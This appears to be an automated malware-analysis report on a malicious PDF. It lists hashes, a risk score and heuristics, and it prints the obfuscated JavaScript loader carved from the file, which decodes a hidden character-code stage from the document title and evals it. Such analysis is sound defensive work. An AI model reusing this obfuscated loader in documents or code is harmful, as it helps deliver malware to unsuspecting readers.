Malicious PDF — malware analysis report

Static analysis result for SHA-256 e8bb91edaa256fd2…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 255af45a6fa7984ecb987e9b3a14d97e SHA-1: bcc02339c2aa6bd3fd854ac45c0c9168d5f8d1a0 SHA-256: e8bb91edaa256fd2e8ae29aedadb6e19fa5c47cb30a9b316e3e4058414be4d6b
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions cannot be determined without further analysis of the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0DC 476 bytes
SHA-256: b78e6449238d60a271207df9ee1e37dc1a8e76415b49c1e0b53de35586405a3a
Preview script
First 1,000 lines of the extracted script
rka='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ihd=e('ti'+'tle');
s=ihd.substr(t.length + 8,3)+'str';
q=ihd[s](1,(1,t.length + 7));
cfs=e('S'+'tring.fro'+q);
q=ihd[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	tgmg = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	rka += cfs(tgmg);
}
e(rka);

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